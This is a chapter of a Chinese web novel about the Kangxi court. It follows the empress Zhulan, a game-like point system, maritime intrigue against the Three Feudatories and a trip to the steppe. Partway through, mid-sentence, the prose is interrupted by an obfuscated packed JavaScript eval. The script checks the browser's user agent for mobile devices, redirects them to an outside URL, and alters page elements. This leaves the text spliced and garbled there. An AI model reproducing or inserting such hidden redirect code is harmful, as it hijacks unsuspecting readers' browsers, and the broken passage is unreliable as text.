皇帝看着她眼里的促狭,皇后是越来越懂他的心思了。他本想悄悄拖过去,到了冬天自然去不成了,偏她要戳破,还要拉着他一起去面对太皇太后的“催生”压力。 “走吧。”皇帝无奈地站起身,顺手牵过珠兰的手。 烛火把两人的影子投在地上,一长一短,像极了这宫里总也扯不清的算计与温情。 “去了可别只让我说。”皇帝低声道,指尖捏了捏她的手。 珠兰笑着回握:“放心,我帮您敲边鼓——就说皇上是心疼太皇太后年纪大,怕草原冬天冷着您了。” 乾清宫的门在身后关上,晚风卷着桂花香飘进来,像是在催着这对夫妻,去面对慈宁宫里那位正等着准信的太皇太后。老人也是装着糊涂罢了,她还能不知道孙儿的想法不成。 而景阳宫的方向,刚被赐住的甄氏,或许还不知道,她的入宫,不过是这帝后间又一段插曲的引子,需要很久才会唱她这一出呢。 慈宁宫的暖阁里,太皇太后听皇帝说完“草原之行改在明年春末”,手里的佛珠没停,只是抬眼瞧了他一下。那眼神像揣着面镜子,照得皇帝心里那点小九九无所遁形。 “也好。”她慢悠悠地应了,语气里听不出半分不悦,“秋天草黄,路不好走,冬天更是冻得人骨头疼。等明年开春,草绿了,花儿开了,去了也舒坦。” 皇帝刚松了口气,就听太皇太后又道:“只是这重孙子、重孙女,哀家是等得脖子都长了。” 珠兰在一旁偷偷掐了掐皇帝的袖子,见他耳尖发红,赶紧笑着打圆场:“皇祖母放心,重孙儿会有的,我们不急。”要说康熙这人,确实意志坚决,决定成年前不近女色,就真的不近。 “不急?”太皇太后斜睨着他们,“哀家像你们这么大时,你阿玛的姐姐们都能满地跑了。” 皇帝被堵得没话说,拉着珠兰的手就往殿外退:“孙儿还有奏折要批,先告退了。” 话音未落,几乎是拽着珠兰往外走,豆青色常服的下摆扫过门槛,竟带了几分仓促。 珠兰被他拉得踉跄,忍不住回头看,正撞见太皇太后望着他们的背影笑。 两人的脚步歪歪扭扭,穿过回廊时,皇帝还差点踩了她的裙角——哪有半分帝王与皇后的样子,倒像胡同里怕被长辈念叨的小夫妻。 “慢点,皇上。”珠兰挣开他的手,笑得直不起腰,“太皇太后是逗咱们呢。” 皇帝摸了摸鼻子,耳根还红着:“皇祖母她那眼神,跟审犯人似的。” 暖阁里,太皇太后看着他们的背影消失在月洞门后,笑着摇了摇头,眼角的皱纹里盛着暖意。这俩人啊,感情是真好。 当年的福临与董鄂氏也就这样了,玄烨比他阿玛有福气啊。 珠兰,也比她当年有福气。 苏麻喇姑递上参茶:“格格,皇上和皇后这样,倒真是亲近。” “可不是嘛。”太皇太后呷了口茶,忽然想起今日入宫的甄氏,“那甄家姑娘,模样是真出挑,如此动人的姿色,宫里这些年没见过这样的。”她捻着佛珠,忽然来了兴致,“你说,这样的美人,能让皇帝冷落多久?” 苏麻喇姑刚要答话,太皇太后又自顾自笑了:“说起来,咱们玄烨这模样,也是越来越俊了。”她想起儿子顺治,又想起丈夫皇太极,“比他阿玛、祖父都强,怕是把他额娘的美貌都继承了,还更胜一筹。” 难怪他看不上那些秀女,太皇太后今日也瞧了满院子的姑娘,皇后绝无私心,留下这最后一轮的已经捡着好看的了,都但大多是清秀端正。 跟皇帝站在一起,清秀的就显得平平无奇了。 满打满算,也就甄氏一人,眉眼间的灵气与仙气,能压过皇帝盛气凌人的容色几分。 “也好,也好。”她望着窗外的梧桐叶,轻轻叹了口气,“都是好孩子,慢慢来吧。” 风卷着落叶掠过窗棂,太皇太后的目光落在廊下的日晷上。 指针正指向酉时,北面隐约传来笑声,她知道,那是皇帝和珠兰还在拌嘴。 这宫里的日子,就该这样热热闹闹的。 至于重孙子,至于草原的事,至于那个甄氏……慢慢来,总会有结果的。 养心殿的回廊下,风卷着桂花落在金砖上。 皇帝攥着皇后的手腕,不知凑在她耳边说了句什么,逗得主子娘娘直不起腰,笑声脆得像银铃,连鬓边的珠花也跟着颤。 “皇上再胡说,我可就不理您了。”珠兰拍开他的手,眼角笑出了细纹,却还是被他半拉半拽地往前挪。 路过的太监宫女早识趣地往路边退,见他们走近,“噗通”一声跪了满地,头埋得低低的,嘴角却忍不住往上扬——谁都爱瞧帝后这样亲近的模样。 有小太监偷偷抬眼,正撞见皇帝伸手替娘娘拂去发间的桂花,指尖轻轻碰了碰她的耳垂,吓得赶紧把头埋得更深,心里却比喝了蜜还甜。 这宫里头,帝后和睦本就难得,偏这两位还总爱给底下人发福利:端午的粽子里裹着蜜饯,中秋的月饼夹着莲蓉,连冬日的炭火都比往年又多三成,开春了还有的剩下。经济上行就是这样,最下层也能喝到鲜美的浓汤。 “皇后娘娘要是生了小太子,”站在宫门口的老嬷嬷念叨,“这宫里的好日子,怕是能比御花园的花开得还旺。”旁边的小宫女听见了,偷偷扯她的袖子,两人对视一眼,都从对方眼里看到了盼头。 康熙拉着珠兰进了乾清宫,殿门“吱呀”关上,把满宫的期盼都挡在了外头。 珠兰还在笑,指着他道:“说甄氏像画里的仙,依我看,皇上您才是……” “是什么?”皇帝挑眉,伸手刮了下她的鼻尖。 “是怕太皇太后催得紧,才故意说些疯话转移注意力。”珠兰笑着躲开,转身去翻案上的奏折,丝毫不把自己当外人,“说吧,是不是又想让我帮你看商部的折子?” 皇帝从身后圈住她的腰,下巴抵在她发顶,声音里带着笑:“还是你懂朕。不过今儿不看账,陪朕下盘棋。”有这样的贤内助,皇帝才不乐意干看着她玩,早拘了她来干活了。现而今,她在乾清宫、南书房都是常客,与大学士们远远撞见,也是寻常事儿。 索尼这老头,还写了折子上来,说后宫干政之事。 什么干政不干政,朕的皇后比三个大学士效率都高,能替朕分担很多文书账目审核工作。 随着事务见多,皇帝精力再旺盛,也需要个专属秘书帮忙。 偏生一群大学士里,有能力的还不敢展露,小心翼翼藏起来,老怕被同僚记恨似的。不怕旁人记恨的那个,干活还得师爷帮忙,没这个能力处理妥帖。 太监们,能管商户就满足了,哪个都不敢往政事上靠。 他不想珠兰走,也是有这个原因在。 窗外的桂花还在落,乾清宫里的烛火暖融融的。 满宫的人都盼着小太子早些来,却不知这对帝后,正趁着这片刻的清闲,把前朝的算计、后宫的期盼,都暂时抛在了棋盘之外。他们啊,玩耍的可乐呵了。 寿康宫 太后也晓得去草原之日又延期了,她心中烦闷,但不敢在慈宁宫露出分毫,回到自己殿里,便显得有几分气闷。 虽说她是太后,实际年纪也不大,一日日守着紫禁城的落日数日子,心已经苍老了。 好不容易皇额娘给了回家看看是希望,却又在往后拖延。 “端敏,你说咱们会不会去不成了。”她握住养女温热的手,摩挲到她手上的茧子,有些心疼,“养身便好,何苦学那些傻小子舞枪弄棒的,手都粗了。” 端敏刚从校场回来,骑装换了旗装,来正殿给养母请安。就听见养母患得患失的在这儿忧心,刚要安稳,自己这日常就心大的母亲已经把心思转移到她的手上了。 自从入宫以后,她最开始每日只是跟着秋冬二人练习一个时辰,身体暖了,便罢了。 可运动也是会上瘾的,尤其是皇后娘娘带着她去了一次校场之后,更是一发不可收拾。 她自觉,马上的世界才是鲜活的,才是属于端敏的。 毕竟,下了马,她要做格格。做皇宫的格格,做王府的格格。 以后,她还会是谁家的福晋,可能是漠南草原的,可能是某家勋贵的。 但是,她想先做端敏。 她与太后说过,太后有听没有懂,此后她便不与养母多谈此事。 珠兰说得对,让母后沉浸在她的世界之中,才是对她最好的。 什么做琪琪格,而不是做太后之类的话,不合时宜。 当真让太后走了心,余生只会带来无穷的痛苦。 □□新觉罗家的媳妇,比□□新觉罗家的女儿,要难多了。珠兰的话言犹在耳,端敏听了,便又给多加了亲密值。 珠兰:这孩子听啥是啥呢。 端敏微笑着回握太后的手,“母后,我不累,每日只骑马罢了,这是缰绳磨出来的。” 太后瞥了她一眼,“你这傻丫头,还想骗我。我在草原上骑马的时候,还没有你呢,你摸摸我的手,和你手上的茧子,可在一个位置。” 端敏一愣,陪着笑了。 太后娘娘手上光滑,哪里还有茧子可寻。 待母女两个又闲话半日,端敏回来自己房间,已经长大不少的贾敏倚着窗边看书。 “怎么今日回来的这般早。”贾敏扭过身子看她,也不行礼了。 端敏自己拿着茶杯倒了茶,喝了一大口,脸上挂上了笑,“母后那里的□□太甜,我赶着回来和你泡的茶。” 贾敏哼了一声,不理会这格格的调皮。 见小姑娘转过去了,端敏也不在意,显然这些年两人就是相处久了,找到了彼此都舒服的距离。 端敏不爱看小姑娘过去战战兢兢的模样,乐意把她养的骄傲起来。 “看到哪一章了?”哟,换了《六韬》在看,敏儿昨日还在对着《资治通鉴》皱眉呢。 “第二章目罢了。”贾敏也不抬头,闲闲翻书,不似看的多详细。 端敏换了家常衣服出来,见她这越看越不耐烦的样子,还以为小丫头在屋里待烦闷了,“不爱这东西,就别看了,我带你去御花园赏花去了。” “那花,便似这前人所作之书,满篇全都是雕琢,我观之,竟无几句有用之语给后人。”贾敏摇头,颇为不耐。 “怎么就无用了,这可是顶级兵书。”端敏不解。 “有天赋之人,不用和它学,自然领悟兵无常势之真谛。那没天赋的人,生搬硬套,不败才怪。”贾敏眉目间仍然有些不耐,却耐心给端敏格格解释。 啥意思?端敏是个勇将,惯常是不学兵法的。 贾敏扭过身,见她这副摸不着头脑的样子,拿帕子捂着嘴笑。 端敏也跟着笑,“罢了,军师啊,您先活动活动吧,都在屋里待了一天了。” “咱们去景仁宫大书房吧,我再去翻两本。”贾敏点点头,她也每日都跟着格格修习秘法,自己的身体健康了,病痛也少。 只是偶尔忧心家中母亲,但回家团聚时,也不好将宫中秘法泄露,只好假托太医之言,让母亲每日多活动。 可算母亲还听她的,也没怀疑过她胆子有那么大,敢假托贵人之言。 上个月,她回家后,劝了母亲给大哥贾赦谋个出路,宫中都晓得天子最厌恶尸位素餐之人,若是大哥占着爵位而无一丝贡献,迟早要被收拾。 这话儿,她是假托自己听了端敏格格与太后娘娘闲话来的,专门回家告诉母亲早做准备。 母亲十分相信,也真的给在家无所事事的大哥谋划前程去了。 其实她更倾向于海事衙门,只是母亲找了老亲帮忙入火器营,她便不好再改弦更张了。 兵者,诡道也! 贾敏深信之…… 太后从正殿窗户往外看,珠兰孝顺,拿着千金不换的纯净琉璃给她这里和慈宁宫换了玻璃窗,看出去清晰许多。 见两个大小敏儿牵着手往外走,一路叽叽喳喳活泼的很,太后心里也舒坦。 偶然的时候,她也会咂摸养女那句,做琪琪格是什么意思。 想想就撂下了,不如叫了宣妃过来,说说家乡话聊聊家乡的花,乐呵一天是一天啊。女人一辈子,都做到太后的位子上了,还能如何不满足呢,要惜福啊,琪琪格。 秋天的南海上,浪头比往年更急,也有人玩儿乐呵了。 挂着“大清”旗号的商船刚驶出杭州关十天,就撞见了三艘挂着黑旗的快船——船头的海盗举着刀呐喊,可仔细看,他们身上的短褂分明是水师的制式,只是撕去了胸前的“兵”字。 “又是换了皮的水师。”商船掌柜躲在舱里发抖,看着海盗抢走半船生丝,才敢让水手往回驶。 这样的事,今年已是第七回。 南洋的航线加密后,那些盘踞在广东、福建的水师,瞧着商船一趟趟运回银子,早红了眼。 白天是朝廷的兵,夜里换身衣服就成了海寇,连郑经的船队都赶来分一杯羹——上个月有艘运香料的船,就是被挂着“明”字旗的船队截了,船员说,带头的将领操着福建口音,倒像是耿精忠的人。 消息传回京城,皇帝在乾清宫对着海图拍了案。 三藩与朝廷的猜忌本就像堆干柴,南洋的银子就是火星,如今海上先烧了起来。 “他们敢动手,就别怪朕不客气。”他对着索额图的奏折朱批:“着海事衙门增派战船,护商亦护疆。” 而时间退回到年初的北方海域,彼时的寿春正站在船头,望着辽东半岛的海岸线出神。 她手下的船队原在渤海湾“游猎”——说是当了海贼王,实则替珠兰手下的掌柜们盯着北方的私盐与皮毛生意,也做南方的丝绸和粮食买卖。 大姐儿手下做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121574|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,运气是一等一的好,真没碰上过渡不过去的天灾。 珠兰:你们是观察点消耗大户。 可这一年半年来,东洋的动静越来越大,索额图的海事衙门往长州藩送了三批火药,明珠的商部更是逼着江户幕府又开放了四个港口,长州等藩与幕府的战事摩擦都打到了近海。 “北边要变天了。”寿春摩挲着腰间的令牌,那是珠兰去年给她的,可以拿着继续去苏州关找马佳氏的人,“施琅的新式海军在天津卫操练,咱们补给不方便。”她们这些“私兵”再待下去,难免撞上枪口。 更重要的是,南洋的乱局需要人手。 大姐儿从内务府递出来的密信里说:“南边的商路不能顺也不能断,三藩要抢,就让他们先尝尝厉害。” 三日后,寿春的船队拔锚南下。五艘快船不挂商旗,只在桅杆顶绑着面黑红相间的三角旗——那是她在江苏近海当大海盗时的旗号,海盗见了忌惮,商船见了反而安心。 船队驶过长江口时,有老水手问:“寿春姐,咱去南洋,真要跟三藩的人硬碰硬?” 寿春望着远处的海平线,海风掀起她的衣袍:“不是硬碰硬,是让他们知道,这海上的银子,不是谁都能抢的。” 她怀里揣着珠兰给的新南洋海图,朝廷废了九牛二虎之力探听好的。上面用朱砂标着三藩水师的常去航线,还有郑经船队的补给点——这些,是她们南下的底气。 此时的天津卫,施琅正看着工匠给新造的战舰装炮。 听说那一伙最大的海盗船队也南下了,他嘴角勾起一抹笑:“也好,这些人都奔着南边大买卖去了。他们去搅搅南边的浑水,咱正好在北边练熟了船。” 因为他不断拿近边的盗匪练手,不少海贼海盗都南下讨生活去了。 南海的浪涛里,商船上的银子还在诱惑着豺狼,三藩的水师与郑经的船队在暗处磨牙,而寿春的快船已劈开浪花,带着一身海腥味,往那最乱的海域去了。 这盘棋里,刀光藏在浪尖下,谁能抢得先机,谁就能握住南洋的命脉——而京城的皇帝,正等着看一场狗咬狗的好戏。 反正有商部东洋贸易一年三千万的底子在,内务府赚钱也狠,南洋这边的获利他不甚关心,是宗室成天提心吊胆。 也不知是怎么回事,柯尔坤下西洋的船顺利通过。他们去南洋的船,就总是命途多舛。 康熙七年的十月,杭州湾三艘刚装满丝绸、瓷器的商船正准备南下,就被一群海匪截在了半路。 领头的人放完炮,仗着船高就直接跳帮,带着不容置疑的狠劲:“来了,便都留下吧。” 他们临走时,在甲板上丢下了两样东西:一面绣着“明”字的残破旗帜,还有块刻着“平西王府”字样的腰牌。 这套路,王通礼觉得眼熟。 各类被抢被打的消息传到京城时,皇帝正在批阅海事衙门的奏折,见了此次直接赔的血本无归的奏报,猛地将朱笔拍在案上:“岂有此理!” 三艘商船的货主,有宗室,有内务府,还有一些预备偷摸走私的勋贵——这下可好,朝堂上原本对“是否马上动三藩”还犹豫不决的人,瞬间炸了锅。 原本损失个一船两船,也便罢了。总之能回来一艘,就有得赚。 这次,居然全部被抢,太过分了! “郑经与吴三桂勾结,竟敢劫朝廷的船!” “广东水师的人早说了,吴三桂的私兵常往海上跑,定是他主使的!” “请皇上出兵!荡平三藩,□□!” 群情激愤的呼声里,没人去细究,更没人怀疑那腰牌与旗帜的真假。 毕竟,南洋的银子流得正欢,谁都不想被三藩掐断财路——愤怒的背后,是实实在在的利益受损。 而这混乱,恰恰给了在江苏发展壮大的翻云会机会。 寿春留在江苏的人手,在程岫的筹谋下,借着海船之利,一批批南下。有的扮成逃难的百姓,混进耿精忠控制的福建;有的跟着粤商的驼队,潜入尚可喜的广东;最胆大的几个,竟买通了吴三桂手下的粮官,拿着假文书进了云南。 他们不打不杀,前期只做三件事:记下水师的布防,从乡下找藩王的粮草储备,悄悄给对三藩不满的官吏递消息。 珠兰送去江苏的密信里写得明白:“乱中取势,先摸透他们的软肋。” 腊月的寒风卷着雪籽,打在乾清宫的窗纸上沙沙响。皇帝望着地图上被红笔圈出的“三藩”领地,一脸高深莫测。 珠兰当初指点了南洋贸易,而今这步棋虽险,却把所有人的矛头都引向了该去的地方。 他一辈子顺风顺水,自觉不该给自己写太多忍字。 父祖皆不长寿,他心中只怕没那么多时间去等。 “传旨,”他对总管太监说,“着索额图再调十艘新式战舰,往南海‘护商’。”这战船是工部仿造的,虽然还比不上西人的大,但皇帝相信自己的兵比贪生怕死的西人强悍。 而此时的江南,番云会的密探正借着夜色,将一封标注着“吴三桂水师布防”的信,塞进了前往京城的驿马行囊里。 乱局已起,接下来要做的,就是在这浑水里,摸出最锋利的那把刀。 上京之前,密室里,油灯照着寿春姐妹的脸。富春看着手里的名单,上头记着几十个名字,职业栏里写着“厨子”“帮工”“马夫”,忍不住皱眉头:“姐,咱费这劲干嘛?让弟兄们直接进王府当护卫,不是更能靠近核心?” 寿春正用炭笔在三藩地图上画圈,闻言抬头,屈指弹了弹她的额头:“护卫?三藩的亲卫都是沾亲带故的,你以为那么好混?可厨子、马夫、帮工不一样——哪个王府不要人做饭?哪个将军府不需要帮工喂马?”她指着“平西王府”的位置,“从灶房到内院,从马厩到营房,这些不起眼的地方,才是消息最灵通的地儿。” 让这些人出点小毛病,那王府管家就赶紧得找新人进来伺候主子。 什么北边来的流民,他们都不计较。有能力的人,总能得口饭吃。 富春还是不解:“那往军队里塞人,我懂,是为了将来能里应外合。可送厨子进去……总不能靠炒菜赢吧?” “炒菜?”寿春笑了,拿过她手里的名单,指着个叫“刘二”的名字,“这个刘二,最会做吴三桂爱吃的糟鹅。等他混进王府灶房,用不了三个月,就知道平西王哪天宿在哪个小妾院里,哪天脾气不好不能说事,甚至……他药汤里放的是什么药材。” 哪天想要这个老登的命,还不是手拿把掐的。毕竟这厨子,也会点飞檐走壁的功夫,无声无息杀个人还是可以的。 若非还不到时候,现在就可取了老登性命,免得天下百姓再受战乱之苦。 她又翻到另一个名字:“这个马夫老王,早年在驿站待过,能从马蹄印看出军队多少人,往哪开拔。等他进了尚可喜的军营马厩,耿精忠的人什么时候借过兵,借了多少,咱比三藩自己的大总管还清楚。” 富春的眼睛亮了些,却还是拧着眉:“可姐姐不是说,咱们的人武功好,披了甲能一打百吗?” “武功好是底牌,不是先手。”寿春收起名单,眼神沉了沉,“大姐儿总说,能不打仗就不打。真到了万不得已的时候,这些靠着真本事入了军营的,约摸能混在中层的弟兄趁机夺兵权,那是意外之喜。可若是能在打仗前,就知道他们的粮草藏在哪,将领的软肋是什么,甚至……让他们自己乱起来呢?” 她凑近油灯,看着火苗在灯芯上跳动,笑道:“比如,让平西王府的厨子‘不小心’把糟鹅做咸了,引得吴三桂迁怒军需官;让耿精忠的马夫‘记错’了草料数量,让他怀疑底下人贪墨——这些小事堆多了,比咱们杀进去十个百个高手都管用。” 富春这才恍然大悟,拍了下手:“我懂了!您是想让他们从里头‘蛀’,先把三藩的根基蛀空了!” “算你没白跟我跑这些年。”寿春点了点她的鼻尖,“所以啊,别小瞧了灶台和马厩。有时候,一把盐能比一把刀顶用,一勺泔水,能比十门炮还让他们头疼。” 她望着窗外沉沉的夜色,声音轻了些:“大姐儿不愿意见到血流成河,我虽然也想一劳永逸杀之便是,但这事儿,大姐定了调子,咱们得听大姐儿的。咱们做的,就是给她多一个选择——能把仗消弭在灶房里,总好过让弟兄们的血淌在战场上,不是吗?” 富春终于完全明白了,拿起名单细细看着,忽然觉得那些“厨子”“马夫”的名字,个个都闪着光。原来姐姐布的,是一张从烟火气里长出来的网,看着软,却能把最硬的堡垒都缠得动弹不得。 油灯在案上明明灭灭,映着姐妹俩的身影,一张纸在燃烧。 三藩的核心腹地还远,但那些混进去的“小工”们,已经像一颗颗种子,悄悄落在了最该发芽的地方。 第二日,她们便启程回京,去了建宁长公主府。 67. 第四局启 康熙八年的风,从开春起就带着股躁动。 春末的紫禁城,榆叶梅刚落尽花瓣,太皇太后的仪仗就出了神武门。 金黄的轿辇里坐着她与太后,陪伴在侧的是端敏格格。稍后面的凤辇里是珠兰,陪在一旁的是宣妃阿日娜苏。再后头的马车里,贾敏头靠在冬萧怀里,她从未出过京城。 珠兰见阿日娜苏掀开帘子的一角儿,回望紫禁城,问道:“当真决定好了?” 阿日娜苏转身,冲着珠兰姐姐重重点头,再无一丝留恋。 珠兰瞄了一眼系统,这丫头的数值中对自由的渴望已经达到了92。 她只给阿日娜苏加了一次点,就是点在了【自由】上,原本是预备着以后用。没想到啊,这一点观察点只是一个引子,引爆的是阿日娜苏自己的心念,压过了她对皇帝的爱,对家族的责任,不顾一切的要离开。 三位后宫最尊贵的女性同时离京,往草原而去,这是开国以来头一遭。 消息像长了翅膀,飞遍京城的王府与衙门。 安亲王岳乐不敢自己瞎猜,来康亲王府上敲边鼓,他故意皱眉:“好好的,怎就突然要去草原?”这独宠的皇后娘娘走了,他的人是不是就能······ 康亲王杰书端着茶盏笑:“还能是为了啥?北边的商路怕是出了乱子,寻常人镇不住,才劳动这三位的大驾。” 他们嘴上议论,心里却都清楚,此刻的重心不在北而在南,也就没再多谈,只吩咐底下人“北边的消息多盯着些”。 南边的事,早已火烧眉毛。京中在调兵,三藩也没闲着。虽然谁都没想到大战会这么早就来,准备都不算充分,但是一触即发是跑不了的。 建宁长公主府上,平西王世子吴应熊也应景的病了,烧的体温很高,人也昏迷多日,太医上门都说没救了的那种。 南洋的商船带回的,除了香料与银子,还有越来越频繁的遇袭消息。 三藩的私兵换身衣服就成海盗,郑经的船队更是明目张胆地在南海游弋,上个月刚劫走镶红旗宗室的两艘货船。 那些投了银子在南洋商号的旗人,看着账册上的“损失”二字,气得摔了茶碗;连素来主张“稳”的康亲王,见自家采买的苏木被抢,也在朝会上拍了桌子:“不能再忍了!” 若是被抢的商船,没有他的份子,他一定劝皇帝与同僚大局为重。 宗室们的怒气,正中皇帝下怀,他要的就是这股劲。想到这里,他嘴角挂起了笑,珠兰本为了替他敛财想出的法子,却实打实解决了人心难聚的难题。皇后,着实乃贤良之臣。 朝堂上,他听着大臣们控诉三藩与郑经的“恶行”,看着八旗将领们请战的折子堆成小山,嘴角重新拉平,叫人看不出喜怒。 佟国维就看不出皇帝的心思,长兄陪着出行蒙古,离开前交代他随着葛布喇大人行事,他看了看葛大人,葛大人似乎在闭目养神。 “既然诸位王公为朕分忧,”康熙在朝会上缓缓开口,“那就准了——着兵部增调八旗精锐,往广东、福建集结;海事衙门加造战船,务必护好南洋商路。” 一道道旨意向南而去,粮草从通州仓运出,战马从张家口调拔,工部新造的火炮都优先配给了南线。整个京城的军事机器,都在往南转动。 葛布喇默默心算,朝廷的战争能力已经挖掘的差不多了。 没人质疑这举动,毕竟南洋的银子太诱人——见过三倍乃至十倍利的,怎甘心被人断了财路? 宗室们想着“扫平梗阻,重开商路”,皇帝却看着更远:这些被利益捆在一起的八旗子弟,终将变成他削藩、收台的利刃,日后也会是他扫平天下的班底。待金瓯无缺,则可对得起宗庙,介时,才能回报皇后的深情。 现今,北边的稳定,就全托给了远去草原的三位尊贵女性。 十天后,太皇太后的仪仗离开承德,继续缓缓前行,自己此行不仅是给两个女儿“调解部落矛盾”,更是替皇帝稳住后方——只要北边不乱,南边的刀,才能砍得更利落。 珠兰坐在车里,掀帘望着木兰的羊群,与外头爱晒太阳的阿日娜苏调笑。 随着出塞,这丫头越发活泼了,骑马、打枪、射箭皆是好功夫,还玩熟了火器营带来的炮,她骨子里就带着的狼性一点都没压抑。换了铠甲,成日与护军营一处,巡逻、拉边、狩猎等等,什么都敢干。 太皇太后与太后不晓得这丫头疯成这样,珠兰瞒了她们。现而今,在观察点的灌注下,最内层渗透不得,外层和中层却都是她的人。 就连端敏格格与贾敏,对珠兰的亲密度都在70以上,她们虽然也发现了宣妃不合规矩的举动,却没有一人去回长辈的。 端敏格格看着宣妃如此恣意,甚至还心生羡慕,在珠兰的鼓励下,趁着休憩,居然也换了铠甲,化身宗室小爷,随着宣妃一起到护军营里跟着骑马射箭,意外发现在座诸位竟然都比不上自己能打。 我能打十个! 不知怎的就比划上了,端敏越打越有信心。 不管是拳脚还是弓马,她虽然缺乏实战经验,却仿佛天然就通了这一脉,只是两个回合就能将对方的招式融会贯通,来几个能打的,都砍瓜切菜一般收拾了。 要说战斗力,现在的内务府护军是经过春字辈儿女官传授武功要义的,冯唐敢说自己带出来的手下都是以一当十的好汉,居然没一个能在端贝勒手下讨得个好,实在是让他这个统领没脸啊。 冯唐想到自己从笔贴士干起,当上三等侍卫,随大军入关,因战功加员外郎,由武转文,做到秘书院学士,又由文转武,做了护军统领。皇后娘娘对他们包衣不薄,从生到死,从老到少,无不沐浴皇恩浩荡,他族中也不是都那么好过,没少受主子娘娘的恩惠。 而且,在鳌拜时期,他家里也受了葛大人的大恩,保住了不少莫名当炮灰的亲友。 为了报答主子娘娘与葛大人的恩德,他放弃了前朝的大好前程,在吏部问询他是否转入内务府时,毫不犹豫的同意了。 彼时,索大人出任了海事衙门的尚书总管,葛大人有提拔他的心思,他本也可以去那边任职。 但是,内务府的护军是娘娘拿着银子挥洒,一手托举起来的精兵,他不放心再来个昏聩之人,毁了好不容易养出心气的包衣下一辈。 不服气的护军统领冯唐拉开了阵势,分了两队,拼了一把战略。 端敏格格至多是玩过棋盘推演,哪里见过这等军演阵仗。她兴奋起来,就要带头冲锋。古之猛将的快乐,她体会到了。所向披靡的兴奋,带给她前所未有的体验,这太刺激了。 跟随在侧的贾敏制止了格格鲁莽的行为,不错,原本柔弱的女童,也长成了少女的模样。不仅长大了,也健康了,身上穿着十斤的盔甲,还能正常思考战略。 端敏听劝,善于将自己不擅长的事,交给从小就聪慧的贾敏去办,就这么着她们这一队还有了军师,把一应布局都安排的妥妥当当。 珠兰与阿日娜苏站在高处,看着这场军演。 这本就是护军营每日都有的训练项目,佟国纲带着外围的火器营注意到了这边的情况,但没放在心上,不曾派人前来探看,错过了端贝勒与贾公子的精彩演绎。 两位贵人在上,所有人都想表现的更好。 阿日娜苏几次欲言又止,但想到自己,又看着下方战神一般切割敌人防线的端敏,还是闭嘴了。 珠兰笑意盈盈,护军营的兵员素质都是极高的,毕竟这支军队是索额图在内务府时,一点点替换的,达成了人人识字的成就,都练过正经杀人功夫,不是一般新兵的野路子,都演习过各种军略,可以完美达成主将的一切布置。可毕竟人数才一千,若没有一员猛将带着,很难打出她想要的摧枯拉朽效果。 冯唐被偷了家时,压根没反应过来。还只关注着活脱脱项羽在世的端贝勒,压根想不起来这位是谁家的,皇家何时有了这般巴图鲁。他全然没想到,自己这种混了战场,又入了官场,都能全身而退的大将,居然还是输给了从没上过战场的端贝勒和他的谋士贾敏。 贾敏带人绕圈子,成功把自己这一队偏师,绕成了主力,拿下敌方空虚的大帐,她感觉心中充满了力量。冥冥之中,在将士们的呼唤中,她悟到了这就是世间的真理,是一切书本都教不会她的。 随着被打败的勇士接连高呼巴图鲁,我竟然如此天才!端敏全然不敢置信。 贾敏轻咳了两声,端敏格格挠了挠头盔,啊,军略这一块儿是敏儿的功劳。 珠兰深藏功与名,观察点没白费。 离开紫禁城,每日都要在太皇太后跟前晃悠够时辰,才能把观察点攒够。 她在这边看了一会儿,就回内圈大帐去了。 跪地高呼的人群外是火器营,一个年约十五六的少年偷偷向内张望,此人生的便与周围五大三粗的同僚们不太一样,瘦弱清秀、粉面朱唇,正是被自家母亲走了老亲的关系送入军中历练的贾赦。 “喂,恩侯,你看什么呢。”后头一员小将拍了拍贾赦的肩膀。 贾赦一激灵,转身见是好友叶克书,摇了摇头,说自己在看热闹。 “护军营的天天都训练,没什么好看的,走,我带你们去猎黄羊去。”又一道声音响起。 “大哥,枪子儿得打头,不然肉都不能吃了。” “吃吃吃,你就知道吃!” “诶唷,大哥别打头。” “笨!” 贾赦看着佟家兄弟玩闹,想起自己家里的弟弟,长长叹了口气,人都有些抑郁了。 佟家兄弟对视一眼,一人一边,把贾赦拉走了。 贾赦回头,他好像听见,里面在欢呼军师贾敏?! 风从草原吹向南海,一边是太皇太后仪仗扬起的烟尘,一边是南洋战船上飘扬的龙旗。 康熙八年的震荡,才刚刚开始。 草原的夜色浸在篝火里,噼啪作响的火苗映着太皇太后的银发。她拨了拨火星,望着远处连绵的黑影,忽然开口:“这草原啊,看着平,底下的褶子可不少。” 端敏格格试探着往火堆里添了块干牛粪,又有些好奇,又有些恶心的模样。闻言,她好奇地问:“皇祖母,您说的是蒙古各部?” “可不是嘛。”太皇太后笑了,对端敏格格的敏锐很是开心,“离咱们最近的,是漠南蒙古,就在如今的地界。”她用树枝在地上划了个圈,“这些年早被咱们大清收了,设了内扎萨克,二十四部,四十九旗,分六个盟管着——哲里木盟、昭乌达盟那些,都是自家人了,王公们每年来京城请安,比八旗在外的旗主还勤。” 太后凑过来,添了句:“我阿玛在世时说,哲里木盟的牧场最肥,他们的骑兵,当年跟着太宗爷打天下,立过大功的。” “他们是咱们的屏障。”太皇太后敲了敲地面,“有漠南在,大清的北边就稳当。” 珠兰裹紧了身上的羊绒毯,望着西北方,“那漠北的喀尔喀蒙古呢?听商部的人说,他们在那大北边游牧,离得远些。” “远些,野性子也烈些。”太皇太后的树枝指向更北的方向,“分三部:土谢图汗、札萨克图汗、车臣汗,各管一块地。说是藩属,每年来朝见,领咱们的册封,可内里的事,朝廷不怎么插手。” 端敏格格眨眨眼:“那他们要是闹起来怎么办?” “闹不起来,也不敢真闹。”太皇太后哼了声,“三部里头也不太平,你争我抢的,还得靠朝廷当中间人调停。再说,罗刹在北边老撩拨他们,他们也得靠着咱们壮胆。” 